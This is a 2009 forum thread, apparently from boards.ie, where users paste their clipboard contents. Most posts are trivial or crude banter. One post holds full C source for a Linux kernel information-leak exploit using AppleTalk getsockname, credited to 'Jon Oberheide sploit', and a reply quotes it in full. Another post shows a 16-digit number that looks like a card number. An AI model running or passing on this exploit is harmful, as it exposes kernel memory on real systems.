whats your ctrl-v

mukki · 29-08-2009 10:10am #1

not sure if this was done before....

1)press post reply

2)hold down ctrl button (bottom right) and press the letter v

3)if anything comes up explain what the hell you were doing, then press submit

___________________________

mine is .....

Qcheck

phew, was googling network testing earlier

IvySlayer · 29-08-2009 10:11am

Ctrl + V = Paste.

I just turned PC on so nothing copied.

cherryghost · 29-08-2009 10:11am

' '

seems i had nothing copied, which makes sense. i just turned the pc on.

mukki · 29-08-2009 10:13am

IvySlayer wrote: »

Ctrl + V = Paste.

I just turned PC on so nothing copied.

thats exactly right ivyslayer, go to the top of the class for some sex

AckwelFoley · 29-08-2009 10:14am

gonorrhea infection following anal sex can result in:

Soreness and itching with a possible anal discharge

Sometimes this is associated with severe pain especially when defecating

Sometimes there are no symptoms except a moist feeling in the rectum.

The infection is passed on during subsequent anal intercourse

TestTransmission · 29-08-2009 10:17am

www.daft.ie/2751511

Browsing daft for a new gaf obviously

abouttobebanned · 29-08-2009 10:17am

Things not to say to a DJ
1. PLAY SOMETHING GOOD, WILL YA SOMETHING WE CAN DANCE TO!
2. WOULD YOU PLAY SOMETHING WITH A "BEAT"!
3. I DON'T KNOW WHO SINGS IT AND I DON'T KNOW THE NAME OF THE SONG
4. EVERYBODY WANTS TO HEAR THIS!
5. NOBODY WANTS TO HEAR THIS
5. EVERYBODY WILL DANCE IF YOU PLAY IT!
6. I CAN GET LAID IF YOU PLAY IT!
7. I WANT TO HEAR IT NEXT!
8. WHAT DO YOU HAVE?
9. HEY, NOBODY CAN DANCE TO THIS!
10. PLAY IT SOON BECAUSE WE'RE LEAVING!
11. PLEASE PLAY "**********", ITS MY BIRTHDAY
12 WHEN WILL YOU PLAY IT?
13 MY DAD/ROOMMATE/EX WIFE/STEPSON OWNS THE CLUB, PLEASE PLAY
14. CAN I DJ?
15. Im a dj also, you should play ***** and mix it with *****.
16.'I'm the owners girlfriend and he wants you to play this song...'
17. Can you please play it again
18. Is it gonna be this music all night??
19. Can you play song no "**" on the disc "*" of "Random unheard of compilation" CD
20. Hey! Where can I buy dr**s"
21. Can I leave my coat in here ?
22. Where is the cloakroom/toilets/bar/exit??
23. Can you make an announcement that its my Birthday
24. How much should I pay you to play "**********"
25. Did you see the girl/boy I came in with ??????
26. 'Jack and coke please'
27. Do you have a pen?
28. Are you the DJ????
29. 'Can I plug my ipod in so you can play MY music'
30. You Should play (insert name of the current biggest track here) and see how eveybody will dance
31.Hey! This is a good track!.Can I take your cd home???
32.Can you play something faster
33. Do you have a microphone to shout out my birthday ?
34. You got any R+B and Hip Hop ? (When playing house) & Vice Versa
35. Can I look thru your music/cds/records
36. Hey, what happens if I pull out this ? (When using Serato).
37. Can I play with the knobs ?
38. "you're really good for a girl" !!! haha
39. Dont mix in or out of the song , just play it from the beginning to the end
40. What you got a laptop for (while using serato)? Bet it mixes it all for you.....that's cheating!

Think I was trying to post it on facebook or something

FearDark · 29-08-2009 10:18am

My ctrl+v

Jesus your facebook is working arseways tonight...

His name is <snip>, what a retard haha, havnt seen him in years, think he moved to <snip>, its like 20 mins from tipperary. Haha, I was playing that tank game up until last year when I was banned ...and its not stupid!!

Ah, u used come up to my place and I had the 2 computers and we played half life or was it team fortress in 1999 or 2000?

Dont ask.

PCPhoto · 29-08-2009 10:18am

28/8/09. Ballyboden St Endas v Na Fianna, Parnell Park.
Pic Shows: Ballyboden St Enda's (Blue/White Jersey) controls the ball under pressure from Na Fianna's Neill O'Callaghan (Blue/White Helmet) and Martin Quilty (Yellow Helmet) during the game between the two teams last night at Parnell Park.Pic: Paddy Cummins/PCPhoto.ie

Caption from Hurling game I was photographing last night.

mp3guy · 29-08-2009 10:27am

question posed by jimmy carr: Would you have sex with your Dad to save your Mum?

brummytom · 29-08-2009 10:28am

Tues at 15:18 Tom Meehan You've finally figured it out then? :
<her> freakinelllll Tues at 15:25
Tom MeehanYour spelling's getting better Elly. Have a gold star Tues at 15:26
<her> tut fuk off u dirty ******ttt Tues at 15:27
Tom Meehan Oh you missed out the c from ****, I'll have to take back my gold star.
If all girls were like you, I might have to be a ******

Tues at 15:28 ·
<her> errrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr u make me sick u dirtyyy animal of a pervv take a look at urself hu in the right mind is going to look at u, u vile spotty creaturee.
Tues at 15:29 Tom Meehan That's nice
Shouldn't you be off breaking into houses or something?
Tues at 15:30 · <her> what the ****? shouldnt u be off booking urself in for a face transplant?
Tues at 15:31 Tom Meehan I tried. They don't do them anymore, after yours went wrong.

Tues at 15:32 · <her> cheeky lil ****.. go and die
Tues at 15:32 Tom Meehan Can I finish my cup of tea first? Cheers
Tues at 15:33

We made up though :P

(I know we were meant to just Paste, but I took out her name

Sleepy · 29-08-2009 10:28am

Canon EW-68A hood for EF 28-80 USM Mark I

FearDark · 29-08-2009 10:29am

brummytom wrote: »

Tues at 15:18 Tom Meehan You've finally figured it out then? :
<her> freakinelllll Tues at 15:25
Tom MeehanYour spelling's getting better Elly. Have a gold star Tues at 15:26
<her> tut fuk off u dirty ******ttt Tues at 15:27
Tom Meehan Oh you missed out the c from ****, I'll have to take back my gold star.
If all girls were like you, I might have to be a ******
Tues at 15:28 ·
<her> errrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr u make me sick u dirtyyy animal of a pervv take a look at urself hu in the right mind is going to look at u, u vile spotty creaturee.
Tues at 15:29 Tom Meehan That's nice
Shouldn't you be off breaking into houses or something?
Tues at 15:30 · <her> what the ****? shouldnt u be off booking urself in for a face transplant?
Tues at 15:31 Tom Meehan I tried. They don't do them anymore, after yours went wrong.
Tues at 15:32 · <her> cheeky lil ****.. go and die
Tues at 15:32 Tom Meehan Can I finish my cup of tea first? Cheers
Tues at 15:33

We made up though :P

(I know we were meant to just Paste, but I took out her name

All your snipping... for nothing

Basq · 29-08-2009 10:30am

Absolutely nothing on it... but I am using a Mac!

PS - this is TCN material tbh!

laoisforliam · 29-08-2009 10:30am

http://www.google.ie/search?q=kildare+street+dublin&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-GB:official&client=firefox-a

FearDark · 29-08-2009 10:31am

basquille wrote: »

Absolutely nothing on it... but I am using a Mac!

PS - this is TCN material tbh!

A McPc??

Turd Ferguson · 29-08-2009 10:33am

<snip> No Links to download of copyrighted materials. - Hagar <snip>

sorry Hagar, wasnt really thinking on that one

Biggins · 29-08-2009 10:33am

I wandered in here. I think I'm lost.
Somebody get me outa here. Waaaaa

Basq · 29-08-2009 10:33am

FearDark wrote: »

A McPc??

** insert another acronym here **

Basq · 29-08-2009 10:35am

Best have some cop on and not link to porn and / or copyrighted content.

AckwelFoley · 29-08-2009 10:36am

brummytom wrote: »

Tues at 15:18 Tom Meehan You've finally figured it out then? :
<her> freakinelllll Tues at 15:25
Tom MeehanYour spelling's getting better Elly. Have a gold star Tues at 15:26
<her> tut fuk off u dirty ******ttt Tues at 15:27
Tom Meehan Oh you missed out the c from ****, I'll have to take back my gold star.
If all girls were like you, I might have to be a ******
Tues at 15:28 ·
<her> errrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr u make me sick u dirtyyy animal of a pervv take a look at urself hu in the right mind is going to look at u, u vile spotty creaturee.
Tues at 15:29 Tom Meehan That's nice
Shouldn't you be off breaking into houses or something?
Tues at 15:30 · <her> what the ****? shouldnt u be off booking urself in for a face transplant?
Tues at 15:31 Tom Meehan I tried. They don't do them anymore, after yours went wrong.
Tues at 15:32 · <her> cheeky lil ****.. go and die
Tues at 15:32 Tom Meehan Can I finish my cup of tea first? Cheers
Tues at 15:33

We made up though :P

(I know we were meant to just Paste, but I took out her name

Tom Meehan eh?
That doesnt make you very west midlands.. tom meehan sounds like a fictional Character in a Hollywood movie about an IRA bomber living in America

abouttobebanned · 29-08-2009 10:37am

basquille wrote: »

Best have some cop on and not link to porn and / or copyrighted content.

Wow, you really have your lick-arse face on today don't ya?

monkeyfudge · 29-08-2009 10:37am

4359808970448408

Basq · 29-08-2009 10:38am

abouttobebanned wrote: »

Wow, you really have your lick-arse face on today don't ya?

Indeed..

Your breath smells of semen!

AckwelFoley · 29-08-2009 10:38am

abouttobebanned wrote: »

Wow, you really have your lick-arse face on today don't ya?

lol

IvySlayer · 29-08-2009 10:39am

mukki wrote: »

thats exactly right ivyslayer, go to the top of the class for some sex

:D

Turd Ferguson · 29-08-2009 10:39am

basquille wrote: »

Indeed..

Your breath smells of semen!

He was eating sailors for lunch

abouttobebanned · 29-08-2009 10:39am

basquille wrote: »

Indeed..

Your breath smells of semen!

I think you'll find that's sea men!

brummytom · 29-08-2009 10:40am

snyper wrote: »

Tom Meehan eh?
That doesnt make you very west midlands.. tom meehan sounds like a fictional Character in a Hollywood movie about an IRA bomber living in America

Thank God you can tell it's Irish. Cheers

I'm not fúckin Asian!!

Joey the lips · 29-08-2009 10:43am

LOL its was my boards password .

Rev. BlueJeans · 29-08-2009 10:59am

http://www.youtube.com/watch?v=1vlOhj4eTpA

portomar · 29-08-2009 11:11am

NRL Titans v Tigers

Neamhshuntasach · 29-08-2009 11:20am

Escuela Proyecto La Esperanza

Overheal · 29-08-2009 11:27am

http://i547.photobucket.com/albums/hh468/Mandos/chickenFuuu.jpg

posting this in R&R because I was angry at, well, this comic, actually.

bluto63 · 29-08-2009 11:27am

Huh, I've got nothing copied

Biggins · 29-08-2009 11:29am

Will someone tell me what the hell this thread is about?

...but in the meantime, lets dance...

BaconZombie · 29-08-2009 11:35am


#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <net/if_arp.h>
#include <linux/atalk.h>

void kernop(int fd)
{
    /* from Jon Oberheide sploit
     */
    const int   randcalls[] = {
        __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
        __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, 
        __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, 
        __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, 
        __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, 
        __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
        __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, 
        __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, 
        __NR_sched_getparam, __NR_sched_get_priority_max
    };
    const int   randsopts[] = { SOL_SOCKET, AF_APPLETALK };
    int         ret, len;
    char        buf[1024];

    do
    {
        switch ( rand() % 3 )
        {
            case 0:
                ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]);
                break;
            case 1:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len);
                break;
            case 2:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len);
                break;
        }
    }
    while ( ret < 0 );
}

void dump( unsigned char * data, unsigned int len )
{
    unsigned int dp, p;
    const char trans[] =
    "................................ !\"#$%&'()*+,-./0123456789"
    ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
    "nopqrstuvwxyz{|}~...................................."
    "....................................................."
    "........................................";

    for ( dp = 1; dp <= len; dp++ )
    {
        printf("%02x ", data[dp-1]);
        if ( (dp % 8) == 0 )
        {
            printf("| ");
            p = dp;
            for ( dp -= 8; dp < p; dp++ ) {
                printf("%c", trans[data[dp]]);
            }
            printf("\n");
        }
    }

    return;
}

int main(void)
{
    struct sockaddr_at  sat;
    int                 s, len = sizeof(sat), occ = 500;
    char                prev_zero[sizeof(sat.sat_zero)] = { 0 };

    s = socket(AF_APPLETALK, SOCK_DGRAM, 0);
    if ( s == -1 )
    {
        perror("socket");
        return EXIT_FAILURE;
    }

    memset(&sat, 0, sizeof(sat));
    sat.sat_family = AF_APPLETALK;
    sat.sat_addr.s_net = htons(ATADDR_ANYNET);
    sat.sat_addr.s_node = ATADDR_ANYNODE;
    sat.sat_port = ATADDR_ANYPORT;

    if ( bind(s, (struct sockaddr *) &sat, len) < 0 )
    {
        perror("bind");
        return EXIT_FAILURE;
    }

    srand(time(NULL) ^ getpid());

    while ( --occ )
    {
        kernop(s);

        if ( getsockname(s, (struct sockaddr *) &sat, &len) == 0 )
        {
            if ( memcmp(sat.sat_zero, prev_zero, sizeof(sat.sat_zero)) != 0 )
            {
                dump((unsigned char *) &sat.sat_zero, sizeof(sat.sat_zero));
                memcpy(&prev_zero, &sat.sat_zero, sizeof(sat.sat_zero));
                usleep(5000);
            }
        }
    }

    close(s);

    return EXIT_SUCCESS;
}

4zn76tysfajdxp · 29-08-2009 11:35am

Turd Ferguson wrote: »

sorry Hagar, wasnt really thinking on that one

Hey, at least it wasn't scat-porn again.

Turd Ferguson · 29-08-2009 11:40am

Amara Juicy Guy wrote: »

Hey, at least it wasn't scat-porn again.

Thats saved for pm's....btw you still want those pictures we talked about?

Biggins · 29-08-2009 11:43am

BOFH_139 wrote: »

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <net/if_arp.h>
#include <linux/atalk.h>

void kernop(int fd)
{
    /* from Jon Oberheide sploit
     */
    const int   randcalls[] = {
        __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
        __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, 
        __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, 
        __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, 
        __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, 
        __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
        __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, 
        __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, 
        __NR_sched_getparam, __NR_sched_get_priority_max
    };
    const int   randsopts[] = { SOL_SOCKET, AF_APPLETALK };
    int         ret, len;
    char        buf[1024];

    do
    {
        switch ( rand() % 3 )
        {
            case 0:
                ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]);
                break;
            case 1:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len);
                break;
            case 2:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len);
                break;
        }
    }
    while ( ret < 0 );
}

void dump( unsigned char * data, unsigned int len )
{
    unsigned int dp, p;
    const char trans[] =
    "................................ !\"#$%&'()*+,-./0123456789"
    ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
    "nopqrstuvwxyz{|}~...................................."
    "....................................................."
    "........................................";

    for ( dp = 1; dp <= len; dp++ )
    {
        printf("%02x ", data[dp-1]);
        if ( (dp % 8) == 0 )
        {
            printf("| ");
            p = dp;
            for ( dp -= 8; dp < p; dp++ ) {
                printf("%c", trans[data[dp]]);
            }
            printf("\n");
        }
    }

    return;
}

int main(void)
{
    struct sockaddr_at  sat;
    int                 s, len = sizeof(sat), occ = 500;
    char                prev_zero[sizeof(sat.sat_zero)] = { 0 };

    s = socket(AF_APPLETALK, SOCK_DGRAM, 0);
    if ( s == -1 )
    {
        perror("socket");
        return EXIT_FAILURE;
    }

    memset(&sat, 0, sizeof(sat));
    sat.sat_family = AF_APPLETALK;
    sat.sat_addr.s_net = htons(ATADDR_ANYNET);
    sat.sat_addr.s_node = ATADDR_ANYNODE;
    sat.sat_port = ATADDR_ANYPORT;

    if ( bind(s, (struct sockaddr *) &sat, len) < 0 )
    {
        perror("bind");
        return EXIT_FAILURE;
    }

    srand(time(NULL) ^ getpid());

    while ( --occ )
    {
        kernop(s);

        if ( getsockname(s, (struct sockaddr *) &sat, &len) == 0 )
        {
            if ( memcmp(sat.sat_zero, prev_zero, sizeof(sat.sat_zero)) != 0 )
            {
                dump((unsigned char *) &sat.sat_zero, sizeof(sat.sat_zero));
                memcpy(&prev_zero, &sat.sat_zero, sizeof(sat.sat_zero));
                usleep(5000);
            }
        }
    }

    close(s);

    return EXIT_SUCCESS;
}

Some nice validation code there. Good stuff.